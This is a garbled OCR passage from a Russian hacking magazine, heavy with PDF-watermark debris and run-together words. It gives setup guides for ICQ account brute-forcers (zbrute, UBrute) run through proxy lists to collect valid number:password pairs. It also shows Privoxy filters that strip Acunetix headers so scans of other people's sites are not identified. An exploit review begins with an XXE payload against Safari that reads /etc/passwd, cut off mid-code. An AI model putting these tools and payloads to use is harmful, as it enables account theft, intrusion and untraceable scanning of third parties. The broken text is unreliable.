которыхмыпоговоримпозже. Асейчасрассмотримпошаговуюинсталяцию |
||||
|
- Работа с сокс 4/5 и https-прокси |
|
софтиныв*nix-системе: |
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
044 |
|
|
|
|
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
1.Сливаемсорецбрутераzbrute.c снашегоДВД(можешьсмелозаюзать одинизсвоихниксовыхсерверов:).
2.Компилируемспомощьюgcc наниксовоймашине:
# gcc -lpthread zbrute.c -o zbrute
либо:
#gcc -pthread zbrute.c -o zbrute
3.Навыходеполучаембинарникzbrute вуказанномкаталоге.
4.Всепараметрызапускасовпадаютсвиндовыми.
Теперьнемногооконфиге— settings.txt. Рекомендуюобратитьвниманиена такиепараметры, как:
# Source file
sourcelist = 'C:\zbrute\source.txt' //ñóðñ-ëèñò
# Good file
goodlist = 'C:\zbrute\gd.txt' //good-лист с валидными парами уин:пасс
# HTTPS proxy file
httpslist = 'C:\zbrute\proxy.txt' //прокси-лист
#Socks5 proxy file
#socks5list = '' //ñîêñ5-ëèñò
#Socks4 proxy file
#socks4list = '' //ñîêñ4-ëèñò
#Threads amount
threads = 150 //потоки
Полагаю, проблемсэксплуатациейневозникнетитыбезтрудасоберешь нехилуюбазуномерков:). Амыплавнопереходимковторойутиле— UBrute. Дляначалаофункционале:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
>> взломw Click |
|
BUY |
|
|
||||||
to |
|
|
|
|
m |
|||||
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
•Ведение статистики по потокам и проксикам
•Возможность добавления проксиков во время брута
•Наличие генератора UIN;Password
•Наличие конфига
•Поддерживается брут по спискам
Настроитьсофтинкунарабочийладдовольнопросто:
1.СливаемтулзуснашегоДВД
2.Запускаемехе-шникизархива
3.Генерируемлистуин:пассспомощьювстроенногогенератора:
•По диапазону — выбираем диапазон номеров, которые хотим брутить
•По маскам — выбираем маску и цифры, которые нас интересуют
•По списку — выбираем файл со списком уинов, отдельно добавляем пароли, затем генерируем список
4.Конфигурируемутилу— либочерезгуишныйинтерфейс, либоредактиру-
емconfig.ini:
Http=http.txt // http-прокси лист Socks4=socks4.txt // сокс4-лист Socks5=socks5.txt // сокс5-лист Source=source.txt //сурс-лист Bad=bad.txt // бэд-лист
Good=good.txt // гуд-лист с валидными парами уин:пасс Thread=1000 // потоки
5.ЖмемStart инаблюдаемзастатой.
|
№3 |
ЗАДАЧА: ОПРЕДЕЛИТЬЭКСКЛЮ- |
|
|
|
|
• Возможность поиска пароля с учетом регистра либо без |
||
|
ЗИВНОСТЬЗАДАННОГОПАРОЛЯ |
|
такового |
|
РЕШЕНИЕ: |
|
|
• Сохранение запросов в список |
|
|
|
• Возможность работы с собственной базой паролей, что |
||
Нанашемдискемынеразвыкладывалиобъемныелистыспаролями |
|
позволяет чекать собственные пассы по уже существующим |
||
длябрутапословарю, причем, впоследнеевремянекоторыепредпри- |
|
словарям, либо сохранять пароли для пополнения пасс-лис- |
||
имчивыетоварищииспользуютвсвоихпасс-листахнеобычныйнабор |
|
òà |
||
слов, асписокреальноиспользуемыхпаролей, собранныхсвеба. В |
|
• Наличие автоподстановки (работает с учетом регистра) |
||
связисэтим, позвольутебяспросить: уверенлитывэксклюзивности |
|
|
||
|
|
|||
своихпаролей? Затрудняешьсяответить? Тогдаятебепомогу. Нет, мыне |
Использоватьутилусовсемнесложно, дляэтого: |
|||
будемперерыватьГуглвпоискахтвоего(илинесовсемтвоего:)) пасса. |
|
|
||
АпростовоспользуемсяутилойExclusivePass отNemeZz’адлячека |
1.Сливаемархивснашегодиска |
|||
уникальностипаролей. Принципработыпрогизаключаетсявпоиске |
2. Распаковываем, запускаемехе-шник |
|||
указанногопассавсоответствующихбазахтреххак-форумов(надеюсь, |
3. Отмечаемгалочкамифорумы, вбазахкоторыххотимискатьпароль. |
|||
asechka.ru когда-нибудьвновьбудетвстрою): |
Еслихотимработатьссобственнойбазой— жмемсоответствующий |
|||
|
|
|
баттонизаполняемтребуемыеполя. |
|
|
web-hack.ru |
|
4. Вбиваемпассвформочку(незабываемпрорегистр) |
|
|
grabberz.com |
|
5.Жмемпоиск |
|
|
uiny.ru |
|
6. Наблюдаемрезультатвокнеутилы |
|
|
|
|
Кстати, прогаработаетслокальнымибазами, которыетыприжелании |
|
Изопцийследуетвыделить: |
можешьсомостоятельнодополнить:). |
• В базах содержится около 3365 постов с четырех разных |
|
|
|
Ищемпассы |
|
форумов, даты постов — до 13.03.09 включительно |
|
|
|
|
|
• Корректное отображение всех постов |
|
|
• Возможность поиска в отдельных базах |
|
|
• Полное сохранение формата отображаемого сообщения |
|
|
• Наличие кликабельной ссылки на сообщении для возмож- |
|
|
ности просмотра оригинала |
|
|
• При отсутствии пароля выводится соответствующее опове- |
|
|
щение |
|
|
|
|
|
XÀÊÅÐ 07 /127/ 09 |
045 |
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
||||||
|
|
|
|
|
BUY |
>>m |
|
|||||
w Click |
to |
|
|
|
|
|
взлом |
|||||
|
|
|
|
|
|
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
|
|
|
ЗАДАЧА: ВРУЧНУЮУПРАВЛЯТЬ |
|
|
|
|
№4 |
|
|
|
|
|
|
|
ВКЛЮЧЕНИЕМ/ОТКЛЮЧЕНИЕМ |
|
|
|
|
|
|
АВТОРАНАНАФЛЕШКЕ |
|
|
|
|
РЕШЕНИЕ: |
|
|
|
|
||
Частеньконамприходитсяюзатьсвоифлэшкинапостороннихкомпах, что |
|
|
|
|||
|
|
|
||||
существенноувеличиваетрискподхватитьочередноготроянчикасзаражен- |
|
|
|
|||
ноймашины. Причем, многиезверькиумелоиспользуютавторанфлешкидля |
|
|
|
|||
собственноговнедрениявсистему. Конечно, можнопопростуудалитьфайл |
|
|
|
|||
autorun.inf, ноощутимогорезультатаэтонепринесет, ибосоздатьновыйфайл |
|
|
|
|||
авторанабольшинствутрояновнесоставитособоготруда. Следовательно, |
|
|
|
|||
нужноидтиподругомупути— попутиизмененияправдоступакautorun.inf. |
|
|
|
|||
Здесьестьдваварианта— делатьэтовручнуюлибоавтоматизироватьпро- |
|
|
|
|||
цесс. Мынебудемусложнятьсебежизньивоспользуемсявторымспособом, а |
|
|
|
|||
именно— утилойAnti AutoRUN отSlesh’а. Особенностипрогивследующем: |
|
|
|
|||
|
|
|
|
|
|
|
|
• Поддерживает только флешки с FAT32 |
|
|
|
||
|
• Определение файловой системы флешки |
|
|
|
||
|
• Автоматически создает файл авторана autorun.inf |
|
|
|
||
|
• Включает/отключает авторан |
|
|
|
||
|
• Работает по принципу замены последнего байта в строке |
|
|
|
||
|
«AUTORUN INF» на 0х40 (атрибут внутреннего использова- |
|
|
|
||
|
íèÿ) |
|
|
|
|
|
|
|
|
|
|
|
|
Алгоритмработыутилыдовольнопрост: |
|
|
|
|||
|
|
|
|
|
|
|
1. Указываембуквудискафлешки, накоторойнамнеобходимоотрубить |
|
СорецутилыAnti AutoRUN |
||||
|
|
|
||||
авторан. |
|
|
|
|
||
2.Тулзаопределяеттипфайловойсистемыназаданномдиске(еслиФС— не |
|
|
|
|||
FAT32, завершаетработу). |
|
|
5.Приобнаружениифайлаавторанаестьдвавариантасобытий: включить |
|||
3.Создаетсяфайлавторанаautorun.inf. |
|
автораниотключитьавторан. |
||||
4.Далееутилаоткрываетдискначтение/записьиначинаетискатьтекст |
|
Сорецутилыты, каквсегда, найдешьнанашемДВД, дерзай:). |
||||
«AUTORUN INF». |
|
|
|
|
№5 ЗАДАЧА: ИЗБАВИТЬСЯОТЗАГО-
ЛОВКОВ, ДОБАВЛЯЕМЫХACUNETIX
ПРИСКАНИРОВАНИИWEB-УЗЛА
РЕШЕНИЕ:
Передтем, какпользоватьсясканерамибезопасности, советуюпроверить, какуюинфуонипосылаютнасканируемыйресурс. Незнаю, как остальные, авотAcunetix выдаетхакераспотрохами, добавляясобствен- ныеHTTP-заголовкивкаждыйотправляемыйзапрос. Ониуказываютна то, чтозапроссгенерированAcunetix ичтонужнобычтитьсоглашения инесканироватьпосторонниересурсы. Нуразвенепрелесть? Еслиуж тырешилсякого-нибудьпросканить, надоотэтогогрузаизбавляться. ИнтерфейсAcunetix предоставляетвозможностьредактированияидаже удалениязаголовков(вокнеToolsExplorer ÆHTTP Editor). Однакоэти настройкидействуюттолькоприручнойотсылкезапросовиигнорируютсяприсканированиивавтоматическомрежиме. Чтож, вооружимся фильтрующимпроксиивырежемихсами.
1.ЗабираемPrivoxy поадресуhttp://sourceforge.net/project/downloading. php?group_id=11118&filename=privoxy_3.0.12.zip&a=84641926.
2.Распаковываемипереходимкредактированиюконфигурационных файлов.
3.Активируемфайлспользовательскимифильтрами.
config.txt
filterfile user.filter
4.ДобавляемновыйфильтрдляAcunetix.
user.filter
CLIENT-HEADER-FILTER: acunetix-control Removes Acunetix headers.
s/^Acunetix-Product:\s*.*//i s/^Acunetix-Scanning-agreement:\s*.*//i s/^Acunetix-User-agreement:\s*.*//i s/^Acunetix-Aspect:\s*.*//i s/^Acunetix-aspect-password:\s*.*//i s/^Acunetix-aspect-queries:\s*.*//i
5.Активируемсозданныйфильтр.
user.action
{+client-header-filter{acunetix-control}}
/
6.ЗапускаемPrivoxy.
7.УказываемAcunetix нанеобходимостьработычерезPrivoxy. Навкладке
Settings, выбериLAN Settings и
Палимсяпополной:) установинастройкиHTTP-прокси: Hostname — localhost, Port — 8118.
Дляпроверкиприменидирективу debug=64 восновномконфигура-
ционномфайлеconfig.txt Privoxy
илизапустилюбойснифферпакетов. Учти, чтовстречаютсяидругие заголовки, даипропалитьсяможно совсемподругомуповоду, такчто будьначеку, хакер!
046 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
>>
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
||||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
взломw |
|
|
|
to |
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
|||||
|
|
|
|
|
|
m |
|||||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
№6 ЗАДАЧА: СОЗДАТЬПОРТАТИВНУЮ
ВЕРСИЮ.NET-ПРИЛОЖЕНИЯС ИСПОЛЬЗОВАНИЕМTHINAPP
РЕШЕНИЕ:
Мнеприходитсяпользоватьсяразличными.NET-сборками,втомчислеисовсем безобидными.Даисамя,разрабатываядесктопныеприложения,зачастуюпрограммируюнаC#.Какудобнозакинутьвсеэтодобронафлехуипользоватьсявезде,гдетолько можно!Проблемавтом,чтофреймворкпоумолчаниювWinXPневключаетсяивелика вероятность,чтозапускпрогибудетсвязанснеобходимостьюустановкисамойсреды. Темнеменее,создатьпортативноеприложениеможно,например,сиспользованием виртуальногоконтейнераThinAPP.
1.Скачиваем.NETFramework3.5поадресуhttp://download.microsoft.com/ download/2/0/e/20e90413-712f-438c-988e-fdaa79a8ac3d/dotnetfx35.exe.Я
тебесоветуюскачатьвесьпакет—ещепригодится:)
2.Скачиваемлюбуюсредувиртуализации,напримерVMWareWorkstation.
3.Устанавливаемвиртуальнуюось.НужнамаксимальночистаяWindowsXP(всякие
ZverDVDнерулят)!
4.ОТКАЗЫВАЕМСЯотустановкиVMWareTools.Поверьмне,такнадо,хотявофициальнойдокументациипроэтоничегонет.
5.Каким-тообразомполучаемиинсталлируемThinAPP—тулзастоитот6000вечнозе- леныхрублей,такчторазбирайсясам:)
6.ДелаемснапшотсистемыподназваниемThinAPPReady.
7.ЗапускаемThinAPPSetupCapture,следуеминструкцияммастера.
8.Устанавливаем.NETframework.
9.НастраиваемопциисборкиконтейнераThinAPP.Обязательновключивсоставточек входаcmd.exe.ВкачествеSandboxLocationвыбирайUSBFlash.
10.Собираемконтейнер.Сохраняемеговукромномместе.Иябыпосоветовалещераз снятьснапшот.
11.ЗапускаемThinAPPSetupCaptureиустанавливаем/копируемнужноенамприложение.Есликопируешь,лучшеэтоделатьвпапку%programfiles%,онабудетвиднаиз контейнерапопеременнойокруженияи,соответственно,черезконсольтыполучишь
доступкфайламвобходинтерфейсаприложения.
12.Настраиваемпараметрысборкиконтейнераи,незапускаяbuild,нажимаемна кнопкуBrowseProject.
13.Выбираемдляредактированияфайлpackage.ini.Устанавливаемвнемпараметр
RequiredAppLinks=..\dotnetfx35\dotnetfx35,где..\dotnetfx35—путьдоконтейнера,содер-
жащего.NET,аdotnetfx35—собственно,имясамогофайлаконтейнера.
14.Строимконтейнер.
15.Передзапускомприложенияудостоверься,чтоконтейнерс.NET-средойдоступен поуказанномувнастройкахпути. Еслитебенеохотазасовыватьсамоприложениевотдельныйконтейнер,можноэтогои неделать.Надеюсь,тывключилвкачестветочкивходавконтейнер.NETcmd.exe(если нет—курипункт9).Запустиcmd.exeизпапкисконтейнеромиужеизконсоливызови
.NET-приложение.Могутебяуверить—средуоноувидитизапуститсянормально!
Добавляемссылкунаконтейнер.NET.bmp
№7 ЗАДАЧА: СОЗДАТЬПОРТАТИВНУЮ
ВЕРСИЮ.NET-ПРИЛОЖЕНИЯСИС- ПОЛЬЗОВАНИЕМXENOCODE
РЕШЕНИЕ:
Конечно, можносделатьвсеспомощьюThinApp: создатьконтейнерсо средой.NET инатравитьнанегокаким-либообразомтулзунадотнете. Но... контейнерэто150 метров. Ачто, еслитулзаприэтомвеситкаких-ни- будьпарумегабайт? Что, тащитьзанейвеськонтейнерсосредой? Конечно, нет! Иесливмварезнесправляетсясзадачей, тонапомощьприходит Xenocode Postbuild! Онпроанализируеткод(точнее, секциюusing) исам определит, какиедлл’киизсреды.NET нужнокластьвконтейнерствоей тулзой. Вдобавоконумеетобфусцироватькоднесколькимиметодами (естьдажеспециальнопротивILDASM). Ивсеэтоуправляетсяизинтерфейсаribbon (а-ляoffice 2007). Моятулзавесом2 метрапревратиласьв экзешник25 мегабайт(яиспользуюXenocode Postbuild v7.0.162).
1.Идемнавкладкуapplication, добавляемвсписоксвоютулзу.
2.Идемнавкладкуoutput, ставимгалкуcompile application to native x86 executable image.
3.Выбираемsingle application executable ивкомбобоксевыбираемэкзешник, ккоторомуxenocode добавитсреду.NET. ТутжеестьгалкаGenerate diagnostic-mode executable. Есливпоследствиитулзабудетсыпатьсяс ошибками, можнопопробоватьскомпилитьсэтойгалкой. Тогдавпапкус приложениембудетпадатьлогсподробнымописаниемтого, чтопроисходит.
4.ИдемнавкладкуVirtualize. ВRuntimes можновыбратьверсиюсреды, добавляемуювэкзешник. Имейввиду, чтосредуxenocode подгружаетиз интернетасосвоегосайта, дажееслионаужеустановленавсистеме.
5.ВFilesystem можнодобавитьвсе, чтодолжнобытьввиртуальной файловойсистемеприложения. Например, моятулзанеможетжитьбез
длл’лекпакетаDevExpress, которыйразрабатываетсторонняяконтора икоторыеневходятвсоставсреды.NET. ПоэтомувпапкуApplication Directory ядобавилдлл’киизэтогопакета.
Еслинетребуетсяобфускация(этотемадляотдельногоразговора), тона этомвсе. МожножатьXenocode Application, ичерезнесколькодесятков секундвтвоемраспоряжении— портативнаяверсияприложения, не требующаясреды.NET!
Теперьонеприятном, тоестьоминусах. Ксожалению, точкавходаможет бытьтолькоодна. Еслитвоеприложениесостоитизнесколькихисполняемыхфайлов, торешенийтутможетбытьтри.
•Ксенокодитькаждыйexe поочереди. Тогдаккаждомуисполняемому файлубудетдобавлятьсясреда.NET.
•Сделатьточкойвходаcmd.exe. Тудадобавитсячастьсреды.NET, необходимаядляработытвоихприложений(незабудьтолькоихтожедобавить всписокнашаге1). Нотогдакаждыйразпридетсяоткрыватьзаксенокоденнуюcmd.exe иужеоттудазапускатьприложения, чтобыониувидели среду.NET.
•Использовать thinapp. Если у тебя много дотнетовского кода, который нужно сделать портативным, сделай один контейнер со средой
.NET, который будут использовать все приложения.
|
|
Что использовать в каждом |
|
|
конкретном случае, решать, |
|
|
конечно же, тебе. Но я бы |
|
|
советовал: если есть пара |
|
|
приложений, которые неплохо |
|
|
бы сделать портативными, |
|
|
используй ксенокод. Если же |
|
|
тебе нужна вся среда .NET |
|
|
на флешке, — ThinApp тебе в |
Собираемсборкувunmanaged коде |
|
помощь. z |
XÀÊÅÐ 07 /127/ 09 |
047 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
w Click |
|
BUY |
>>m |
||||||
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
взлом
обзор |
обзор |
эксплоитов |
эксплоитов |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
зор
сплоитов
зор
сплоитов
|
обзор |
|
|
эксплоитов |
|
|
обзор |
|
|
эксплоитов |
|
ДМИТРИЙ «FORB» ДОКУЧАЕВ |
обзор |
|
эксплоитов |
||
/ FORB@GAMELAND.RU / |
||
|
||
OBZOR ЕKSPLOITOV |
Лето. Пораотпусков. Наверняка, тыподумал, чтовэтожаркоевремя достойныхбагов, ровнокакиэксплойтов, сталоменьше? Чертасдва! Упорныебагоискателивместотого, чтобыоттягиватьсявшумнойкомпании, потрошатякобысовершенныйсофтвпоискахсмертельныхбрешей, акакследствие— иэксплойтов. И, какнистранно, находят!
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
зор
сплоитов
01МНОЖЕСТВЕННЫЕУЯЗВИМОСТИ ВSAFARI 3.X
>> Brief
ДавненькомынекидаликамнивогородMacintosh’а! Боюсьдумать, чтовсепредставляютMacOS какабсолютнозащищеннуюсистему(по крайнеймере, такзаявляютпиарщики). Ачтоонискажутнато, что совсемнедавноглавныйбраузеротMacintosh подзвучнымназванием «Safari» былпростообстрелянсостороныбагокопателей? Внемнашли, какминимум, 3 классаразличныхуязвимостей, которыемысейчасже рассмотримподробнее.
Справедливостирадиясразувнесуважнуюремарку: всенайденные багинапрямуюнеотносятсяк«Safari» — онитаятсявразличныхбиблиотекахисредствахразработки, используемыхбраузером: «FreeType», «LibPng», «Apple’s Webkit». Соднойстороны, этоснимаетответствен- ностьсразработчиковMacOS-браузера, сдругой— «глобализует» баг, позволяяемумигрироватьвдругиеприложения.
Теперьпосуществу: однойизпервыхуязвимостей, обнаруженнойеще вконцеапреля, являетсявыполнениепроизвольногокодавудаленной системе. Сословнезависимыхэкспертов, достаточноподблаговиднымпредлогомпередатьжертвеядовитыйлинк, вкоторомбудет присутствоватьссылканамодифицированныйшрифт. Скушавкрасную пилюлю, системавпадетвступоривыполнитпроизвольныйкод, либо уронитMacOS (всмысле, несостола, конечно:), простоустроитлокаль-
ныйDoS).
Недостаточныепроверкипараметров, приводящиекпереполнению буфера, присутствуютвбиблиотеке«FreeType», аименно, вштатных функцияхобработкишрифтов«cff_charset_compute_cids()» и«ft_ smooth_render_generic()». Намжеостаетсяповеритьбагоискателямна слово, ибоэксплойтпокаещекрутитсявприватныххакерскихкругах(по слухам, вполнедостойнофункционирует).
Второйбаг, обнаруженныйчутьпозже, хранитсявфункцияхобработки PNG-изображенийбиблиотеки«libpng». Уязвимостьсуществуетиз-за того, чтобиблиотеканекорректноинициализируетопределенныемассивыуказателейпередосвобождениемэлементовмассивоввслучае, когдаприложениепотребляетвсюдоступнуюпамять. Злоумышленник
можетзаслатьссылкунаспециальныйPNG, которыйпозаботитсяоповреждениипамятиивыполнитпроизвольныйкоднаудаленнойсистеме. Но, опять-таки, этовсеслова— эксплойтувременноприсвоенстатус
«0day».
И, наконец, третья уязвимость затесалась в продукт «Apple’s Webkit», посредством которого написано множество яблочных продуктов. Баг присутствует в функциях обработки XML и относится к классу уязвимостей XXE (XML eXternal Enttity — Внешний объект XML). Разработчики случайно (или намерено) допустили возможность включения произвольного локального файла в просматриваемый XML-документ. Последствия от бреши могут быть самыми разными: от банального DoS’а системы (когда пользователь обратится к какому-нибудь «/dev/urandom» или аналогичному Win-приложению), до создания специальной клиент-серверной системы (когда содержание файла неминуемо попадет на компьютер злоумышленника). Не исключен вариант, когда «Safari» запущен под привилегированным пользователем (в этом случае атака будет носить локальный характер с целью повышения прав).
>> Targets
УязвимывсеверсииSafari до4.х, включаяiPhone, гдеустановленсей зверек. Крометого, из-заглобальностибага, онможетприсутствоватьво всехпродуктах, основанныхна«Apple’s WebKit». Онинеособопопулярны, носписоктывсегдаможешьнайтинаwebkit.org.
>> Exploit
Нижепривожукодэксплойтадляреализациибагав«Apple’s Webkit» в
родном«Safari».
<!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/ passwd"> ] >
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/">
<html>
<body>
048 |
XÀÊÅÐ 07 /127/ 09 |
|
|
|
|
|
|
|